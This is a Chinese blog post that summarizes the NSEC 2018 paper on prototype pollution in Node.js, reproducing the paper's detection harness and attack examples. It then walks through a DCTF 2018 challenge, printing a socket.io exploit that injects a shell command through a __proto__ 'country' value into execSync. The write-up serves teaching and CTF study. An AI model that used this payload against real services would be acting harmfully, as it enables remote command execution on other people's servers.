小白帶你讀論文 & Prototype pollution attack in NodeJS

2021-01-07 網易

  

  
前言

  本篇paper來自於 NSEC 2018 :Prototype pollution attack in NodeJS application,寫summary的原因因為本篇文章介紹的攻擊點和實際問題密切相關,同時在CTF各大比賽中經常出現。

  
背景知識

  為了介紹什麼是原型鏈汙染漏洞,我們得先有一些前置知識,首先觀察一段代碼:

  a={};

  a.__proto__.test2 = '456';

  b={};

  console.log(a.test2);

  console.log(b.test2);

  b.__proto__.test2 = '789';

  console.log(a.test2);

  console.log(b.test2);

  我們定義一個a對象,並對其進行賦值:

  a.__proto__.test2 = '456';

  我們再定義一個b對象,但此時發現,如果我們輸出:

  console.log(a.test2);

  console.log(b.test2);

  此時得到的結果是:

  456

  456

  那麼為什麼b對象會有test2這個屬性的value呢?

  

  這是因為我們有等價關係:

  a.__proto__ == Object.prototype

  那麼此時,如果我們調用b.test2,其因為獲取不到,就會往父類中查找,因此找到了Object.prototype.test2。

  因此我們調用b.test2,可以獲取到456這個值。

  我們再看一個簡單的例子:

  

  我們構造了類的繼承關係:

  在使用a.testA的時候:

  1.在testC類裡查找testA屬性

  2.在testC的父類裡查找testA屬性

  3.在testC的"爺"類裡查找testA屬性

  故此可以正常調用到testA屬性。

  對於testB、testC屬性也是同理。

  
原型鏈汙染漏洞

  為了了解原型鏈汙染漏洞,我們看如下代碼:

  

  假設我們控制evil.__proto__,那就等同於可以修改testClass類的prototype,那麼即可篡改SecClass中的url屬性值。

  那麼在後續所有調用該屬性的位置,都會產生相應的影響。

  
漏洞評估

  作者的數據集定於npm的所有庫,但是由於代碼量巨大,傳統的靜態分析並不適用,於是作者使用了動態測試方法,對受影響的庫進行驗證:

  * 使用npm安裝需要測試的庫* 將庫引入文件

  * 遞歸列舉庫中所有可調用的函數

  * 對於每一個函數

  * 對於每一個函數進行原型鏈汙染測試input

  * 檢驗是否產生影響,若產生,則標註漏洞點,並清除影響

  代碼已開源在github:

  https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js

  簡單分析代碼可知,作者首先申明了一個對象,對象中有屬性名為:_proto_。

  如果經過庫中函數處理,該屬性成為原型,那麼說明出現了原型鏈汙染問題:

  作者列舉了多種pattern:

  var pattern = [{

  fnct : function (totest) {

  totest(BAD_JSON);

  },

  sig: "function (BAD_JSON)"

  },{

  fnct : function (totest) {

  totest(BAD_JSON, {});

  },

  sig: "function (BAD_JSON, {})"

  },{

  fnct : function (totest) {

  totest({}, BAD_JSON);

  },

  sig: "function ({}, BAD_JSON)"

  },{

  fnct : function (totest) {

  totest(BAD_JSON, BAD_JSON);

  },

  sig: "function (BAD_JSON, BAD_JSON)"

  },{

  fnct : function (totest) {

  totest({}, {}, BAD_JSON);

  },

  sig: "function ({}, {}, BAD_JSON)"

  },{

  fnct : function (totest) {

  totest({}, {}, {}, BAD_JSON);

  },

  sig: "function ({}, {}, {}, BAD_JSON)"

  },{

  fnct : function (totest) {

  totest({}, "__proto__.test", "123");

  },

  sig: "function ({}, BAD_PATH, VALUE)"

  },{

  fnct : function (totest) {

  totest({}, "__proto__[test]", "123");

  },

  sig: "function ({}, BAD_PATH, VALUE)"

  },{

  fnct : function (totest) {

  totest("__proto__.test", "123");

  },

  sig: "function (BAD_PATH, VALUE)"

  },{

  fnct : function (totest) {

  totest("__proto__[test]", "123");

  },

  sig: "function (BAD_PATH, VALUE)"

  },{

  fnct : function (totest) {

  totest({}, "__proto__", "test", "123");

  },

  sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"

  },{

  fnct : function (totest) {

  totest("__proto__", "test", "123");

  },

  sig: "function (BAD_STRING, BAD_STRING, VALUE)"

  }]

  然後對一個庫中所有函數進行測試,再進行檢測:

  function check() {

  if ({}.test == "123" || {}.test == 123) {

  delete Object.prototype.test;

  return true;

  }

  return false;

  }

  作者經過測試,得到了許多受原型鏈汙染影響的庫:

  

  其中不乏我們經常在ctf中遇到的lodash……

  

  而後,作者選取了幾個典例進行分析。

  
拒絕服務攻擊

  例如代碼中的第12行,存在漏洞點,其使用了lodash的merge,導致我們可以汙染req對象,由於返回結果依賴於這個對象。那麼如果攻擊者input如下exp,每一條請求都將返回500:

  

  
For-loop汙染

  例如如下代碼,我們可以進行原型汙染,這樣commands在下一次遍歷時,就會遍歷到我們加入的惡意值,進行任意命令執行。

  

  Property injection

  由於NodeJS的http模塊擁有多個同名header,我們可以對cookie進行汙染,那麼request.headers.cookie將變為我們的汙染值,那麼每一個訪問者都會共享同一個cookie:

  

  
CTF中的應用

  看完了作者介紹的原型鏈汙染攻擊,我們來看一下其在CTF中的簡單應用。

  題目:https://chat.dctfq18.def.camp

  源碼:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip

  我們下載源碼後,首先審計服務端代碼:

  看到在help.js中有如下高危代碼:

  getAscii: function(message) {

  var e = require('child_process');

  return e.execSync("cowsay '" + message + "'").toString();

  }

  如果我們可控message,那麼即可進行rce,例如:

  

  於是在server.js中尋找調用點:

  client.on('join', function(channel) {

  try {

  clientManager.joinChannel(client, channel);

  sendMessageToClient(client,"Server",

  "You joined channel", channel)

  var u = clientManager.getUsername(client);

  var c = clientManager.getCountry(client);

  sendMessageToChannel(channel,"Server",

  helper.getAscii("User " + u + " living in " + c + " joined channel"))

  } catch(e) { console.log(e); client.disconnect() }

  });

  client.on('leave', function(channel) {

  try {

  client .join(channel);

  clientManager.leaveChannel(client, channel);

  sendMessageToClient(client,"Server",

  "You left channel", channel)

  var u = clientManager.getUsername(client);

  var c = clientManager.getCountry(client);

  sendMessageToChannel(channel, "Server",

  helper.getAscii("User " + u + " living in " + c + " left channel"))

  } catch(e) { console.log(e); client.disconnect() }

  });

  可以發現在join和leave用相應的調用:

  var u = clientManager.getUsername(client);

  var c = clientManager.getCountry(client);

  sendMessageToChannel(channel,"Server",

  helper.getAscii("User " + u + " living in " + c + " joined channel"))

  那麼如果可控u和c,那麼即可進行命令拼接,而u對於name,c對應country,對於name參數:

  validUser: function(inp) {

  var block = ["source","port","font","country",

  "location","status","lastname"];

  if(typeof inp !== 'object') {

  return false;

  }

  var keys = Object.keys( inp);

  for(var i = 0; i< keys.length; i++) {

  key = keys[i];

  if(block.indexOf(key) !== -1) {

  return false;

  }

  }

  var r =/^[a-z0-9]+$/gi;

  if(inp.name === undefined || !r.test(inp.name)) {

  return false;

  }

  return true;

  }

  我們發現我們被進行了大量過濾,很難直接進行任意命令執行,於是我們開始思考如何改變country的值,那麼便容易想到使用原型鏈汙染,在父類對象中加入country屬性的值,進行汙染。

  那麼我們可以從register進行輸入:

  client.on('register', function(inUser) {

  try {

  newUser = helper.clone(JSON.parse(inUser))

  if(!helper.validUser(newUser)) {

  sendMessageToClient(client,"Server",

  'Invalid settings.')

  return client.disconnect();

  }

  var keys = Object.keys(defaultSettings);

  for (var i = 0; i < keys.length; ++i) {

  if(newUser[keys[i]] === undefined) {

  newUser[keys[i]] = defaultSettings[keys[i]]

  }

  }

  if (!clientManager.isUserAvailable(newUser.name)) {

  sendMessageToClient(client,"Server",

  newUser.name + ' is not available')

  return client.disconnect();

  }

  clientManager.registerClient(client, newUser)

  return sendMessageToClient(client,"Server",

  newUser.name + ' registered')

  } catch(e) { console.log(e); client.disconnect() }

  });

  我們發現存在原型鏈汙染漏洞點:

  newUser = helper.clone(JSON.parse(inUser))

  我們可以利用這裡的clone,進行汙染,達成目的。

  構造如下exp:

  const io = require('socket.io-client')

  const socket = io.connect('http://0.0.0.0:10000')

  socket.on('error', function (err) {

  console.log('received socket error:')

  console.log(err)

  })

  socket.on('message', function(msg) {

  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);

  });

  socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);

  socket.emit('message', JSON.stringify({ msg: "hello" }));

  socket.emit('join', 'xxx');

  

  
後記

  Prototype pollution attack還是一個比較有趣的攻擊點,下次可以結合一些題目和CVE再做一些深入的了解。

  本文為 一葉飄零 原創稿件,授權嘶吼獨家發布

相關焦點

  • 在 Node.js 中使用 Promise.prototype.finally
    (點擊上方公眾號,可快速關注)英文: Valeri Karpov  譯文:眾成翻譯/AlekoLauzcfy.cc/article/using-promise-prototype-finally-in-node-js
  • 在Node.js中,使用Promise.prototype.finally
    最近Promise.prototype.finally() 達到了TC39提案流程的第4階段,這意味著其建議已被接受,並現已成為ECMAScript規範最新草案的一部分。由此看來,將其放入Node.js僅是時間問題。
  • Node.js 服務性能翻倍的秘密
    作者:shenfq 來源:更了不起的前端前言前一篇文章介紹了 fastify 通過 schema 來序列化 JSON,為 Node.js 服務提升性能的方法。今天的文章會介紹 fastify 使用的路由庫,翻閱其源碼(lib/route.js)可以發現,fastify 的路由庫並不是內置的,而是使用了一個叫做 find-my-way 的路由庫。route.js這個路由庫的簡介也很有意思,號稱「超級無敵快」的 HTTP 路由。
  • Node.js原型鏈汙染的利用
    這裡以Code-Breaking 2018的Thejs這一題為例。下載node.js:這個就不多解釋了直接去官網下載並安裝就可以了。安裝完後直接在cmd下輸入node命令就可以像python一樣進入命令交互模式了。下載源碼:安裝依賴包:在cmd中進入源碼所在的目錄,然後直接執行npm install命令就可以自動安裝所需的依賴包了。
  • Node.js模塊化你所需要知道的事
    前言我們知道,Node.js是基於CommonJS規範進行模塊化管理的,模塊化是面對複雜的業務場景不可或缺的工具,或許你經常使用它,但卻從沒有系統的了解過,所以今天我們來聊一聊Node.js模塊化你所需要知道的一些事兒,一探Node.js模塊化的面貌。
  • 【專業技術】關於JS的prototype
    相信大家也看出來了,直接聲明的函數 擁有prototype這個屬性,而new 構造出來的函數不存在prototype這個屬性象。什麼是prototype:function定義的對象有一個prototype屬性,prototype屬性又指向了一個prototype對象,注意prototype屬性與prototype對象是兩個不同的東西,要注意區別。
  • 我開始討厭node.js了
    擁抱JavaScript2014年,我從一個半吊子c#程式設計師轉速前端,突然就愛上了JavaScript,感覺好像一顆被c#束縛已久的心終於解放了,js那种放蕩不羈愛自由的操作領悟神魂顛倒,我感覺自己擺脫了那些過度封裝的程序,所有的代碼都盡在掌握之中,那種感覺說不出的爽。
  • 專門針對初學者的Node.js教程
    安裝結束後,你可以輸入一個新命令「node」。使用該「node」命令有兩種不同的方法。第一種不帶任何參數,將打開一個交互式Shell「>」(REPL: read-eval-print-loop),你可以在這裡執行JavaScript代碼。
  • 找回 Node.js 裡面那些遺失的 ES6 特性
    >『staged』 需要使用 --harmony 參數開啟的 ES6 特性『in progress』 開發中的 ES 特性--harmony_modules (enable "harmony modules")--harmony_array_includes (enable "harmony Array.prototype.includes
  • Nodejs 14 大版本中新增特性總結
    -features-String-prototype-matchAll-throws-on-non-global-regexAsync Local Storage(異步本地存儲)Node.js Async Hooks 模塊提供了 API 用來追蹤 Node.js 程序中異步資源的聲明周期,在最新的 v14.x LTS 版本中新增加了一個 AsyncLocalStorage
  • Node.JS快速入門
    -v會顯示當前node的版本號2.快速入門2.1 控制臺輸出我們現在做個最簡單的小例子,演示如何在控制臺輸出,在e盤創建文件夾nodedemo ,創建文本文件demo1.js,代碼內容我們在命令提示符下輸入命令node demo1.js ,結果如下:2.2 使用函數我們剛才的例子非常簡單,咱們這裡再看一下函數的使用:我們在命令提示符下輸入命令node demo2.js ,結果如下:
  • node.js、MongoDB下一代的LAMP
    node.js、MongoDB下一代的LAMP 我們大部分人在做網站時,都用的是LAMP,殊不知LAMP已成過去式,新一代的小生:nix、node.js、MongoDB誕生了,讓我們走進他們,知道他們的故事!
  • centos7編程實踐:安裝nodejs
    2、node.js的優勢2.1、Nodejs語法完全是js語法,只要你懂js基礎就可以學會Nodejs後端開發Node打破了過去JavaScript只能在瀏覽器中運行的局面。當有用戶連接了,就觸發一個內部事件,通過非阻塞I/O、事件驅動機制,讓Node.js程序宏觀上也是並行的。使用Node.js,一個8GB內存的伺服器,可以同時處理超過4萬用戶的連接。2.3、實現高性能伺服器 嚴格地說,Node.js是一個用於開發各種web伺服器的開發工具。
  • nodejs 中文分詞模塊 node-segment
    github:https://github.com/leizongmin/node-segment 在線演示地址:http://segment.ucdok.com/ 本分詞模塊具有以下特點: 1、使用方法 安裝:$ npm install segment --save 使用:
  • 【 Node.js】你應該知道的 NPM 知識都在這!
    /node_modules/.bin/。上面的這種當你的包安裝到全局時:npm 會在 /usr/local/bin 下創建一個以 vm2 為名字的軟連結,指向全局安裝下來的 vm2 包下面的 "./bin/index.js"。這時你在命令行執行 vm2 則會調用連結到的這個 js 文件。
  • Node.js 學習資料和教程(值得收藏)
    >被誤解的 Node.jsNode.js C++ addon編寫實戰系列熱門node.js模塊排行榜,方便找出你想要的模塊nodejs多線程,真正的非阻塞淺析nodejsNode.js  經驗分享SDCC講師專訪:淘寶樸靈談Node.jsNode.js的核心與紅利QCon北京2013 Node.js專題出品人樸靈專訪
  • 你拆分JS代碼的方法可能是錯的!
    設置 optimization.splitChunks.chunks ='all'意味著「將 node_modules 所有內容都放入名為 vendors~main.js 的文件中」。E.g. node_modules/packageName/not/this/part.js            // or node_modules/packageName            const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)
  • Deno並不是下一代Node.js
    這幾天前端圈最火的事件莫過於 ry(Ryan Dahl) 的新項目 deno 了,很多 IT 新聞和媒體都用了標題:「下一代 Node.js」。這周末讀了一遍 deno 的源碼,特意寫了這篇文章。長文預警(5000字,11圖)。0. 為什麼開發 Deno?
  • nodejs windows環境下搭建
    目前,Node.js是在前端開發中十分受歡迎,它是一套用來編寫高性能網絡伺服器的JavaScript工具包,官網中介紹:Node.js 是一個基於Chrome JavaScript 運行時建立的一個平臺, 用來方便地搭建快速的 易於擴展的網絡應用; Node.js 藉助事件驅動, 非阻塞I
  • 你不知道的 Npm(Node.js 進階必備好文)
    /node_modules/.bin/。上面的這種當你的包安裝到全局時:npm 會在 /usr/local/bin 下創建一個以 vm2 為名字的軟連結,指向全局安裝下來的 vm2 包下面的 "./bin/index.js"。這時你在命令行執行 vm2 則會調用連結到的這個 js 文件。